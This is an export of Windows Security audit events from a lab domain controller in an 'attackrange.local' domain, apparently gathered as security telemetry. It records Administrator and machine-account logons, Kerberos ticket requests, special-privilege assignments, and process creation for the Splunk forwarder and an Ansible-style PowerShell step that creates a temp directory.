	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252271
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15691F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252270
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252269
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15691F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252268
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15691F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252267
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252266
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252265
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252264
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x155237

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252263
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1020
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x284
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUAOQAzAC4AMwA3ADYAOAA1ADAAOAAtADIANgA1ADEAOAA5ADEAMAA1ADcAOAA5ADgAMAAxACcACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgAC0ASQBuAHAAdQB0AE8AYgBqAGUAYwB0ACAAJAB0AG0AcAAuAEYAdQBsAGwATgBhAG0AZQAKAEkAZgAgACgALQBuAG8AdAAgACQAPwApACAAewAgAEkAZgAgACgARwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACAAewAgAGUAeABpAHQAIAAkAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAAfQAgAEUAbABzAGUAIAB7ACAAZQB4AGkAdAAgADEAIAB9ACAAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252351
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x159D21

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252350
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x159D21
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64631

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252349
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x159D21

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252348
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x159CC0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252347
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x159CC0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64630

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252346
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x159CC0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252345
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x159C5A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252344
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x159C5A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64629

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252343
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x159C5A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252342
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x159BF9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252341
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x159BF9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64628

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252340
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x159BF9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252339
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1599E3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252338
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1599E3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252337
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252336
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252335
Keywords=Audit Success
